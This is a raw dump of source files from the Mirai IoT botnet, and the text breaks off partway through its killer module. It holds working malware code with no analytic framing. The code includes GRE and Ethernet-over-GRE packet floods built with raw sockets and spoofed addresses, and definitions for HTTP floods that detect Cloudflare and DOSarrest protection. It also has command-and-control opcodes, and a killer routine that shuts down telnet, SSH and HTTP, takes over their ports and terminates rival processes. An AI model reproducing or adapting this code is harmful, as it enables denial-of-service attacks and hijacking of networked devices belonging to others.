| #define ATK_OPT_ACKRND 18 // Should we force the ack number? (TCP only) 65 | #define ATK_OPT_GRE_CONSTIP 19 // Should the encapsulated destination address be the same as the target? 66 | #define ATK_OPT_METHOD 20 // Method for HTTP flood 67 | #define ATK_OPT_POST_DATA 21 // Any data to be posted with HTTP flood 68 | #define ATK_OPT_PATH 22 // The path for the HTTP flood 69 | #define ATK_OPT_HTTPS 23 // Is this URL SSL/HTTPS? 70 | #define ATK_OPT_CONNS 24 // Number of sockets to use 71 | #define ATK_OPT_SOURCE 25 // Source IP 72 | 73 | struct attack_method { 74 | ATTACK_FUNC func; 75 | ATTACK_VECTOR vector; 76 | }; 77 | 78 | struct attack_stomp_data { 79 | ipv4_t addr; 80 | uint32_t seq, ack_seq; 81 | port_t sport, dport; 82 | }; 83 | 84 | #define HTTP_CONN_INIT 0 // Inital state 85 | #define HTTP_CONN_RESTART 1 // Scheduled to restart connection next spin 86 | #define HTTP_CONN_CONNECTING 2 // Waiting for it to connect 87 | #define HTTP_CONN_HTTPS_STUFF 3 // Handle any needed HTTPS stuff such as negotiation 88 | #define HTTP_CONN_SEND 4 // Sending HTTP request 89 | #define HTTP_CONN_SEND_HEADERS 5 // Send HTTP headers 90 | #define HTTP_CONN_RECV_HEADER 6 // Get HTTP headers and check for things like location or cookies etc 91 | #define HTTP_CONN_RECV_BODY 7 // Get HTTP body and check for cf iaua mode 92 | #define HTTP_CONN_SEND_JUNK 8 // Send as much data as possible 93 | #define HTTP_CONN_SNDBUF_WAIT 9 // Wait for socket to be available to be written to 94 | #define HTTP_CONN_QUEUE_RESTART 10 // restart the connection/send new request BUT FIRST read any other available data. 95 | #define HTTP_CONN_CLOSED 11 // Close connection and move on 96 | 97 | #define HTTP_RDBUF_SIZE 1024 98 | #define HTTP_HACK_DRAIN 64 99 | #define HTTP_PATH_MAX 256 100 | #define HTTP_DOMAIN_MAX 128 101 | #define HTTP_COOKIE_MAX 5 // no more then 5 tracked cookies 102 | #define HTTP_COOKIE_LEN_MAX 128 // max cookie len 103 | #define HTTP_POST_MAX 512 // max post data len 104 | 105 | #define HTTP_PROT_DOSARREST 1 // Server: DOSarrest 106 | #define HTTP_PROT_CLOUDFLARE 2 // Server: cloudflare-nginx 107 | 108 | struct attack_http_state { 109 | int fd; 110 | uint8_t state; 111 | int last_recv; 112 | int last_send; 113 | ipv4_t dst_addr; 114 | char user_agent[512]; 115 | char path[HTTP_PATH_MAX + 1]; 116 | char domain[HTTP_DOMAIN_MAX + 1]; 117 | char postdata[HTTP_POST_MAX + 1]; 118 | char method[9]; 119 | char orig_method[9]; 120 | 121 | int protection_type; 122 | 123 | int keepalive; 124 | int chunked; 125 | int content_length; 126 | 127 | int num_cookies; 128 | char cookies[HTTP_COOKIE_MAX][HTTP_COOKIE_LEN_MAX]; 129 | 130 | int rdbuf_pos; 131 | char rdbuf[HTTP_RDBUF_SIZE]; 132 | }; 133 | 134 | struct attack_cfnull_state { 135 | int fd; 136 | uint8_t state; 137 | int last_recv; 138 | int last_send; 139 | ipv4_t dst_addr; 140 | char user_agent[512]; 141 | char domain[HTTP_DOMAIN_MAX + 1]; 142 | int to_send; 143 | }; 144 | 145 | BOOL attack_init(void); 146 | void attack_kill_all(void); 147 | void attack_parse(char *, int); 148 | void attack_start(int, ATTACK_VECTOR, uint8_t, struct attack_target *, uint8_t, struct attack_option *); 149 | char *attack_get_opt_str(uint8_t, struct attack_option *, uint8_t, char *); 150 | int attack_get_opt_int(uint8_t, struct attack_option *, uint8_t, int); 151 | uint32_t attack_get_opt_ip(uint8_t, struct attack_option *, uint8_t, uint32_t); 152 | 153 | /* Actual attacks */ 154 | void attack_udp_generic(uint8_t, struct attack_target *, uint8_t, struct attack_option *); 155 | void attack_udp_vse(uint8_t, struct attack_target *, uint8_t, struct attack_option *); 156 | void attack_udp_dns(uint8_t, struct attack_target *, uint8_t, struct attack_option *); 157 | void attack_udp_plain(uint8_t, struct attack_target *, uint8_t, struct attack_option *); 158 | 159 | void attack_tcp_syn(uint8_t, struct attack_target *, uint8_t, struct attack_option *); 160 | void attack_tcp_ack(uint8_t, struct attack_target *, uint8_t, struct attack_option *); 161 | void attack_tcp_stomp(uint8_t, struct attack_target *, uint8_t, struct attack_option *); 162 | 163 | void attack_gre_ip(uint8_t, struct attack_target *, uint8_t, struct attack_option *); 164 | void attack_gre_eth(uint8_t, struct attack_target *, uint8_t, struct attack_option *); 165 | 166 | void attack_app_proxy(uint8_t, struct attack_target *, uint8_t, struct attack_option *); 167 | void attack_app_http(uint8_t, struct attack_target *, uint8_t, struct attack_option *); 168 | 169 | static void add_attack(ATTACK_VECTOR, ATTACK_FUNC); 170 | static void free_opts(struct attack_option *, int); 171 | -------------------------------------------------------------------------------- /mirai/bot/attack_gre.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #ifdef DEBUG 4 | #include 5 | #endif 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "includes.h" 14 | #include "attack.h" 15 | #include "protocol.h" 16 | #include "util.h" 17 | #include "checksum.h" 18 | #include "rand.h" 19 | 20 | void attack_gre_ip(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) 21 | { 22 | int i, fd; 23 | char **pkts = calloc(targs_len, sizeof (char *)); 24 | uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); 25 | uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); 26 | uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); 27 | BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE); 28 | port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); 29 | port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); 30 | int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512); 31 | BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE); 32 | BOOL gcip = attack_get_opt_int(opts_len, opts, ATK_OPT_GRE_CONSTIP, FALSE); 33 | uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR); 34 | 35 | if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) 36 | { 37 | #ifdef DEBUG 38 | printf("Failed to create raw socket. Aborting attack\n"); 39 | #endif 40 | return; 41 | } 42 | i = 1; 43 | if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) 44 | { 45 | #ifdef DEBUG 46 | printf("Failed to set IP_HDRINCL. Aborting\n"); 47 | #endif 48 | close(fd); 49 | return; 50 | } 51 | 52 | for (i = 0; i < targs_len; i++) 53 | { 54 | struct iphdr *iph; 55 | struct grehdr *greh; 56 | struct iphdr *greiph; 57 | struct udphdr *udph; 58 | 59 | pkts[i] = calloc(1510, sizeof (char *)); 60 | iph = (struct iphdr *)(pkts[i]); 61 | greh = (struct grehdr *)(iph + 1); 62 | greiph = (struct iphdr *)(greh + 1); 63 | udph = (struct udphdr *)(greiph + 1); 64 | 65 | // IP header init 66 | iph->version = 4; 67 | iph->ihl = 5; 68 | iph->tos = ip_tos; 69 | iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len); 70 | iph->id = htons(ip_ident); 71 | iph->ttl = ip_ttl; 72 | if (dont_frag) 73 | iph->frag_off = htons(1 << 14); 74 | iph->protocol = IPPROTO_GRE; 75 | iph->saddr = source_ip; 76 | iph->daddr = targs[i].addr; 77 | 78 | // GRE header init 79 | greh->protocol = htons(ETH_P_IP); // Protocol is 2 bytes 80 | 81 | // Encapsulated IP header init 82 | greiph->version = 4; 83 | greiph->ihl = 5; 84 | greiph->tos = ip_tos; 85 | greiph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len); 86 | greiph->id = htons(~ip_ident); 87 | greiph->ttl = ip_ttl; 88 | if (dont_frag) 89 | greiph->frag_off = htons(1 << 14); 90 | greiph->protocol = IPPROTO_UDP; 91 | greiph->saddr = rand_next(); 92 | if (gcip) 93 | greiph->daddr = iph->daddr; 94 | else 95 | greiph->daddr = ~(greiph->saddr - 1024); 96 | 97 | // UDP header init 98 | udph->source = htons(sport); 99 | udph->dest = htons(dport); 100 | udph->len = htons(sizeof (struct udphdr) + data_len); 101 | } 102 | 103 | while (TRUE) 104 | { 105 | for (i = 0; i < targs_len; i++) 106 | { 107 | char *pkt = pkts[i]; 108 | struct iphdr *iph = (struct iphdr *)pkt; 109 | struct grehdr *greh = (struct grehdr *)(iph + 1); 110 | struct iphdr *greiph = (struct iphdr *)(greh + 1); 111 | struct udphdr *udph = (struct udphdr *)(greiph + 1); 112 | char *data = (char *)(udph + 1); 113 | 114 | // For prefix attacks 115 | if (targs[i].netmask < 32) 116 | iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); 117 | 118 | if (source_ip == 0xffffffff) 119 | iph->saddr = rand_next(); 120 | 121 | if (ip_ident == 0xffff) 122 | { 123 | iph->id = rand_next() & 0xffff; 124 | greiph->id = ~(iph->id - 1000); 125 | } 126 | if (sport == 0xffff) 127 | udph->source = rand_next() & 0xffff; 128 | if (dport == 0xffff) 129 | udph->dest = rand_next() & 0xffff; 130 | 131 | if (!gcip) 132 | greiph->daddr = rand_next(); 133 | else 134 | greiph->daddr = iph->daddr; 135 | 136 | if (data_rand) 137 | rand_str(data, data_len); 138 | 139 | iph->check = 0; 140 | iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); 141 | 142 | greiph->check = 0; 143 | greiph->check = checksum_generic((uint16_t *)greiph, sizeof (struct iphdr)); 144 | 145 | udph->check = 0; 146 | udph->check = checksum_tcpudp(greiph, udph, udph->len, sizeof (struct udphdr) + data_len); 147 | 148 | targs[i].sock_addr.sin_family = AF_INET; 149 | targs[i].sock_addr.sin_addr.s_addr = iph->daddr; 150 | targs[i].sock_addr.sin_port = 0; 151 | sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); 152 | } 153 | 154 | #ifdef DEBUG 155 | if (errno != 0) 156 | printf("errno = %d\n", errno); 157 | break; 158 | #endif 159 | } 160 | } 161 | 162 | void attack_gre_eth(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) 163 | { 164 | int i, fd; 165 | char **pkts = calloc(targs_len, sizeof (char *)); 166 | uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); 167 | uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); 168 | uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); 169 | BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE); 170 | port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); 171 | port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); 172 | int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512); 173 | BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE); 174 | BOOL gcip = attack_get_opt_int(opts_len, opts, ATK_OPT_GRE_CONSTIP, FALSE); 175 | uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR); 176 | 177 | if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) 178 | { 179 | #ifdef DEBUG 180 | printf("Failed to create raw socket. Aborting attack\n"); 181 | #endif 182 | return; 183 | } 184 | i = 1; 185 | if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) 186 | { 187 | #ifdef DEBUG 188 | printf("Failed to set IP_HDRINCL. Aborting\n"); 189 | #endif 190 | close(fd); 191 | return; 192 | } 193 | 194 | for (i = 0; i < targs_len; i++) 195 | { 196 | struct iphdr *iph; 197 | struct grehdr *greh; 198 | struct ethhdr *ethh; 199 | struct iphdr *greiph; 200 | struct udphdr *udph; 201 | uint32_t ent1, ent2, ent3; 202 | 203 | pkts[i] = calloc(1510, sizeof (char *)); 204 | iph = (struct iphdr *)(pkts[i]); 205 | greh = (struct grehdr *)(iph + 1); 206 | ethh = (struct ethhdr *)(greh + 1); 207 | greiph = (struct iphdr *)(ethh + 1); 208 | udph = (struct udphdr *)(greiph + 1); 209 | 210 | // IP header init 211 | iph->version = 4; 212 | iph->ihl = 5; 213 | iph->tos = ip_tos; 214 | iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct ethhdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len); 215 | iph->id = htons(ip_ident); 216 | iph->ttl = ip_ttl; 217 | if (dont_frag) 218 | iph->frag_off = htons(1 << 14); 219 | iph->protocol = IPPROTO_GRE; 220 | iph->saddr = source_ip; 221 | iph->daddr = targs[i].addr; 222 | 223 | // GRE header init 224 | greh->protocol = htons(PROTO_GRE_TRANS_ETH); // Protocol is 2 bytes 225 | 226 | // Ethernet header init 227 | ethh->h_proto = htons(ETH_P_IP); 228 | 229 | // Encapsulated IP header init 230 | greiph->version = 4; 231 | greiph->ihl = 5; 232 | greiph->tos = ip_tos; 233 | greiph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len); 234 | greiph->id = htons(~ip_ident); 235 | greiph->ttl = ip_ttl; 236 | if (dont_frag) 237 | greiph->frag_off = htons(1 << 14); 238 | greiph->protocol = IPPROTO_UDP; 239 | greiph->saddr = rand_next(); 240 | if (gcip) 241 | greiph->daddr = iph->daddr; 242 | else 243 | greiph->daddr = ~(greiph->saddr - 1024); 244 | 245 | // UDP header init 246 | udph->source = htons(sport); 247 | udph->dest = htons(dport); 248 | udph->len = htons(sizeof (struct udphdr) + data_len); 249 | } 250 | 251 | while (TRUE) 252 | { 253 | for (i = 0; i < targs_len; i++) 254 | { 255 | char *pkt = pkts[i]; 256 | struct iphdr *iph = (struct iphdr *)pkt; 257 | struct grehdr *greh = (struct grehdr *)(iph + 1); 258 | struct ethhdr *ethh = (struct ethhdr *)(greh + 1); 259 | struct iphdr *greiph = (struct iphdr *)(ethh + 1); 260 | struct udphdr *udph = (struct udphdr *)(greiph + 1); 261 | char *data = (char *)(udph + 1); 262 | uint32_t ent1, ent2, ent3; 263 | 264 | // For prefix attacks 265 | if (targs[i].netmask < 32) 266 | iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); 267 | 268 | if (source_ip == 0xffffffff) 269 | iph->saddr = rand_next(); 270 | 271 | if (ip_ident == 0xffff) 272 | { 273 | iph->id = rand_next() & 0xffff; 274 | greiph->id = ~(iph->id - 1000); 275 | } 276 | if (sport == 0xffff) 277 | udph->source = rand_next() & 0xffff; 278 | if (dport == 0xffff) 279 | udph->dest = rand_next() & 0xffff; 280 | 281 | if (!gcip) 282 | greiph->daddr = rand_next(); 283 | else 284 | greiph->daddr = iph->daddr; 285 | 286 | ent1 = rand_next(); 287 | ent2 = rand_next(); 288 | ent3 = rand_next(); 289 | util_memcpy(ethh->h_dest, (char *)&ent1, 4); 290 | util_memcpy(ethh->h_source, (char *)&ent2, 4); 291 | util_memcpy(ethh->h_dest + 4, (char *)&ent3, 2); 292 | util_memcpy(ethh->h_source + 4, (((char *)&ent3)) + 2, 2); 293 | 294 | if (data_rand) 295 | rand_str(data, data_len); 296 | 297 | iph->check = 0; 298 | iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); 299 | 300 | greiph->check = 0; 301 | greiph->check = checksum_generic((uint16_t *)greiph, sizeof (struct iphdr)); 302 | 303 | udph->check = 0; 304 | udph->check = checksum_tcpudp(greiph, udph, udph->len, sizeof (struct udphdr) + data_len); 305 | 306 | targs[i].sock_addr.sin_family = AF_INET; 307 | targs[i].sock_addr.sin_addr.s_addr = iph->daddr; 308 | targs[i].sock_addr.sin_port = 0; 309 | sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct ethhdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); 310 | } 311 | 312 | #ifdef DEBUG 313 | if (errno != 0) 314 | printf("errno = %d\n", errno); 315 | break; 316 | #endif 317 | } 318 | } 319 | -------------------------------------------------------------------------------- /mirai/bot/checksum.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include 4 | #include 5 | 6 | #include "includes.h" 7 | #include "checksum.h" 8 | 9 | uint16_t checksum_generic(uint16_t *addr, uint32_t count) 10 | { 11 | register unsigned long sum = 0; 12 | 13 | for (sum = 0; count > 1; count -= 2) 14 | sum += *addr++; 15 | if (count == 1) 16 | sum += (char)*addr; 17 | 18 | sum = (sum >> 16) + (sum & 0xFFFF); 19 | sum += (sum >> 16); 20 | 21 | return ~sum; 22 | } 23 | 24 | uint16_t checksum_tcpudp(struct iphdr *iph, void *buff, uint16_t data_len, int len) 25 | { 26 | const uint16_t *buf = buff; 27 | uint32_t ip_src = iph->saddr; 28 | uint32_t ip_dst = iph->daddr; 29 | uint32_t sum = 0; 30 | int length = len; 31 | 32 | while (len > 1) 33 | { 34 | sum += *buf; 35 | buf++; 36 | len -= 2; 37 | } 38 | 39 | if (len == 1) 40 | sum += *((uint8_t *) buf); 41 | 42 | sum += (ip_src >> 16) & 0xFFFF; 43 | sum += ip_src & 0xFFFF; 44 | sum += (ip_dst >> 16) & 0xFFFF; 45 | sum += ip_dst & 0xFFFF; 46 | sum += htons(iph->protocol); 47 | sum += data_len; 48 | 49 | while (sum >> 16) 50 | sum = (sum & 0xFFFF) + (sum >> 16); 51 | 52 | return ((uint16_t) (~sum)); 53 | } 54 | -------------------------------------------------------------------------------- /mirai/bot/checksum.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include "includes.h" 7 | 8 | uint16_t checksum_generic(uint16_t *, uint32_t); 9 | uint16_t checksum_tcpudp(struct iphdr *, void *, uint16_t, int); 10 | -------------------------------------------------------------------------------- /mirai/bot/includes.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | #define STDIN 0 8 | #define STDOUT 1 9 | #define STDERR 2 10 | 11 | #define FALSE 0 12 | #define TRUE 1 13 | typedef char BOOL; 14 | 15 | typedef uint32_t ipv4_t; 16 | typedef uint16_t port_t; 17 | 18 | #define INET_ADDR(o1,o2,o3,o4) (htonl((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0))) 19 | 20 | #define SINGLE_INSTANCE_PORT 48101 21 | 22 | #define FAKE_CNC_ADDR INET_ADDR(65,222,202,53) 23 | #define FAKE_CNC_PORT 80 24 | 25 | #define CNC_OP_PING 0x00 26 | #define CNC_OP_KILLSELF 0x10 27 | #define CNC_OP_KILLATTKS 0x20 28 | #define CNC_OP_PROXY 0x30 29 | #define CNC_OP_ATTACK 0x40 30 | 31 | ipv4_t LOCAL_ADDR; 32 | 33 | #ifdef DEBUG 34 | static char *outptr; 35 | static void xputc(char c) 36 | { 37 | if (outptr) { 38 | *outptr++ = (unsigned char)c; 39 | return; 40 | } else { 41 | write(0, &c, 1); 42 | } 43 | } 44 | 45 | static void xputs(const char *str) 46 | { 47 | while (*str) 48 | xputc(*str++); 49 | } 50 | 51 | static void xvprintf(const char *fmt, va_list arp) 52 | { 53 | unsigned int r, i, j, w, f; 54 | unsigned long v; 55 | char s[16], c, d, *p; 56 | for (;;) { 57 | c = *fmt++; /* Get a char */ 58 | if (!c) break; /* End of format? */ 59 | if (c != '%') { /* Pass through it if not a % sequense */ 60 | xputc(c); continue; 61 | } 62 | f = 0; 63 | c = *fmt++; /* Get first char of the sequense */ 64 | if (c == '0') { /* Flag: '0' padded */ 65 | f = 1; c = *fmt++; 66 | } else { 67 | if (c == '-') { /* Flag: left justified */ 68 | f = 2; c = *fmt++; 69 | } 70 | } 71 | for (w = 0; c >= '0' && c <= '9'; c = *fmt++) /* Minimum width */ 72 | w = w * 10 + c - '0'; 73 | if (c == 'l' || c == 'L') { /* Prefix: Size is long int */ 74 | f |= 4; c = *fmt++; 75 | } 76 | if (!c) break; /* End of format? */ 77 | d = c; 78 | //toupper 79 | if (d >= 'a') d -= 0x20; 80 | switch (d) { /* Type is... */ 81 | case 'S' : /* String */ 82 | p = va_arg(arp, char*); 83 | for (j = 0; p[j]; j++) ; 84 | while (!(f & 2) && j++ < w) xputc(' '); 85 | xputs(p); 86 | while (j++ < w) xputc(' '); 87 | continue; 88 | case 'C' : /* Character */ 89 | xputc((char)va_arg(arp, int)); continue; 90 | case 'B' : /* Binary */ 91 | r = 2; break; 92 | case 'O' : /* Octal */ 93 | r = 8; break; 94 | case 'D' : /* Signed decimal */ 95 | case 'U' : /* Unsigned decimal */ 96 | r = 10; break; 97 | case 'X' : /* Hexdecimal */ 98 | r = 16; break; 99 | default: /* Unknown type (passthrough) */ 100 | xputc(c); continue; 101 | } 102 | 103 | /* Get an argument and put it in numeral */ 104 | v = (f & 4) ? va_arg(arp, long) : ((d == 'D') ? (long)va_arg(arp, int) : (long)va_arg(arp, unsigned int)); 105 | if (d == 'D' && (v & 0x80000000)) { 106 | v = 0 - v; 107 | f |= 8; 108 | } 109 | i = 0; 110 | do { 111 | d = (char)(v % r); v /= r; 112 | if (d > 9) d += (c == 'x') ? 0x27 : 0x07; 113 | s[i++] = d + '0'; 114 | } while (v && i < sizeof(s)); 115 | if (f & 8) s[i++] = '-'; 116 | j = i; d = (f & 1) ? '0' : ' '; 117 | while (!(f & 2) && j++ < w) xputc(d); 118 | do xputc(s[--i]); while(i); 119 | while (j++ < w) xputc(' '); 120 | } 121 | } 122 | 123 | static void xprintf(const char *fmt, ...) 124 | { 125 | va_list arp; 126 | va_start(arp, fmt); 127 | xvprintf(fmt, arp); 128 | va_end(arp); 129 | } 130 | #define printf xprintf 131 | 132 | #endif 133 | 134 | -------------------------------------------------------------------------------- /mirai/bot/killer.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #ifdef DEBUG 4 | #include 5 | #endif 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #include "includes.h" 17 | #include "killer.h" 18 | #include "table.h" 19 | #include "util.h" 20 | 21 | int killer_pid; 22 | char *killer_realpath; 23 | int killer_realpath_len = 0; 24 | 25 | void killer_init(void) 26 | { 27 | int killer_highest_pid = KILLER_MIN_PID, last_pid_scan = time(NULL), tmp_bind_fd; 28 | uint32_t scan_counter = 0; 29 | struct sockaddr_in tmp_bind_addr; 30 | 31 | // Let parent continue on main thread 32 | killer_pid = fork(); 33 | if (killer_pid > 0 || killer_pid == -1) 34 | return; 35 | 36 | tmp_bind_addr.sin_family = AF_INET; 37 | tmp_bind_addr.sin_addr.s_addr = INADDR_ANY; 38 | 39 | // Kill telnet service and prevent it from restarting 40 | #ifdef KILLER_REBIND_TELNET 41 | #ifdef DEBUG 42 | printf("[killer] Trying to kill port 23\n"); 43 | #endif 44 | if (killer_kill_by_port(htons(23))) 45 | { 46 | #ifdef DEBUG 47 | printf("[killer] Killed tcp/23 (telnet)\n"); 48 | #endif 49 | } else { 50 | #ifdef DEBUG 51 | printf("[killer] Failed to kill port 23\n"); 52 | #endif 53 | } 54 | tmp_bind_addr.sin_port = htons(23); 55 | 56 | if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1) 57 | { 58 | bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in)); 59 | listen(tmp_bind_fd, 1); 60 | } 61 | #ifdef DEBUG 62 | printf("[killer] Bound to tcp/23 (telnet)\n"); 63 | #endif 64 | #endif 65 | 66 | // Kill SSH service and prevent it from restarting 67 | #ifdef KILLER_REBIND_SSH 68 | if (killer_kill_by_port(htons(22))) 69 | { 70 | #ifdef DEBUG 71 | printf("[killer] Killed tcp/22 (SSH)\n"); 72 | #endif 73 | } 74 | tmp_bind_addr.sin_port = htons(22); 75 | 76 | if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1) 77 | { 78 | bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in)); 79 | listen(tmp_bind_fd, 1); 80 | } 81 | #ifdef DEBUG 82 | printf("[killer] Bound to tcp/22 (SSH)\n"); 83 | #endif 84 | #endif 85 | 86 | // Kill HTTP service and prevent it from restarting 87 | #ifdef KILLER_REBIND_HTTP 88 | if (killer_kill_by_port(htons(80))) 89 | { 90 | #ifdef DEBUG 91 | printf("[killer] Killed tcp/80 (http)\n"); 92 | #endif 93 | } 94 | tmp_bind_addr.sin_port = htons(80); 95 | 96 | if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1) 97 | { 98 | bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in)); 99 | listen(tmp_bind_fd, 1); 100 | } 101 | #ifdef DEBUG 102 | printf("[killer] Bound to tcp/80 (http)\n"); 103 | #endif 104 | #endif 105 | 106 | // In case the binary is getting deleted, we want to get the REAL realpath 107 | sleep(5); 108 | 109 | killer_realpath = malloc(PATH_MAX); 110 | killer_realpath[0] = 0; 111 | killer_realpath_len = 0; 112 | 113 | if (!has_exe_access()) 114 | { 115 | #ifdef DEBUG 116 | printf("[killer] Machine does not have /proc/$pid/exe\n"); 117 | #endif 118 | return; 119 | } 120 | #ifdef DEBUG 121 | printf("[killer] Memory scanning processes\n"); 122 | #endif 123 | 124 | while (TRUE) 125 | { 126 | DIR *dir; 127 | struct dirent *file; 128 | 129 | table_unlock_val(TABLE_KILLER_PROC); 130 | if ((dir = opendir(table_retrieve_val(TABLE_KILLER_PROC, NULL))) == NULL) 131 | { 132 | #ifdef DEBUG 133 | printf("[killer] Failed to open /proc!\n"); 134 | #endif 135 | break; 136 | } 137 | table_lock_val(TABLE_KILLER_PROC); 138 | 139 | while ((file = readdir(dir)) != NULL) 140 | { 141 | // skip all folders that are not PIDs 142 | if (*(file->d_name) < '0' || *(file->d_name) > '9') 143 | continue; 144 | 145 | char exe_path[64], *ptr_exe_path = exe_path, realpath[PATH_MAX]; 146 | char status_path[64], *ptr_status_path = status_path; 147 | int rp_len, fd, pid = atoi(file->d_name); 148 | 149 | scan_counter++; 150 | if (pid <= killer_highest_pid) 151 | { 152 | if (time(NULL) - last_pid_scan > KILLER_RESTART_SCAN_TIME) // If more than KILLER_RESTART_SCAN_TIME has passed, restart scans from lowest PID for process wrap 153 | { 154 | #ifdef DEBUG 155 | printf("[killer] %d seconds have passed since last scan. Re-scanning all processes!\n", KILLER_RESTART_SCAN_TIME); 156 | #endif 157 | killer_highest_pid = KILLER_MIN_PID; 158 | } 159 | else 160 | { 161 | if (pid > KILLER_MIN_PID && scan_counter % 10 == 0) 162 | sleep(1); // Sleep so we can wait for another process to spawn 163 | } 164 | 165 | continue; 166 | } 167 | if (pid > killer_highest_pid) 168 | killer_highest_pid = pid; 169 | last_pid_scan = time(NULL); 170 | 171 | table_unlock_val(TABLE_KILLER_PROC); 172 | table_unlock_val(TABLE_KILLER_EXE); 173 | 174 | // Store /proc/$pid/exe into exe_path 175 | ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); 176 | ptr_exe_path += util_strcpy(ptr_exe_path, file->d_name); 177 | ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_EXE, NULL)); 178 | 179 | // Store /proc/$pid/status into status_path 180 | ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); 181 | ptr_status_path += util_strcpy(ptr_status_path, file->d_name); 182 | ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_STATUS, NULL)); 183 | 184 | table_lock_val(TABLE_KILLER_PROC); 185 | table_lock_val(TABLE_KILLER_EXE); 186 | 187 | // Resolve exe_path (/proc/$pid/exe) -> realpath 188 | if ((rp_len = readlink(exe_path, realpath, sizeof (realpath) - 1)) != -1) 189 | { 190 | realpath[rp_len] = 0; // Nullterminate realpath, since readlink doesn't guarantee a null terminated string 191 | 192 | table_unlock_val(TABLE_KILLER_ANIME); 193 | // If path contains ".anime" kill. 194 | if (util_stristr(realpath, rp_len - 1, table_retrieve_val(TABLE_KILLER_ANIME, NULL)) != -1) 195 | { 196 | unlink(realpath); 197 | kill(pid, 9); 198 | } 199 | table_lock_val(TABLE_KILLER_ANIME); 200 | 201 | // Skip this file if its realpath == killer_realpath 202 | if (pid == getpid() || pid == getppid() || util_strcmp(realpath, killer_realpath)) 203 | continue; 204 | 205 | if ((fd = open(realpath, O_RDONLY)) == -1) 206 | { 207 | #ifdef DEBUG 208 | printf("[killer] Process '%s' has deleted binary!\n", realpath); 209 | #endif 210 | kill(pid, 9); 211 | } 212 | close(fd); 213 | } 214 | 215 | if (memory_scan_match(exe_path)) 216 | { 217 | #ifdef DEBUG 218 | printf("[killer] Memory scan match for binary %s\n", exe_path); 219 | 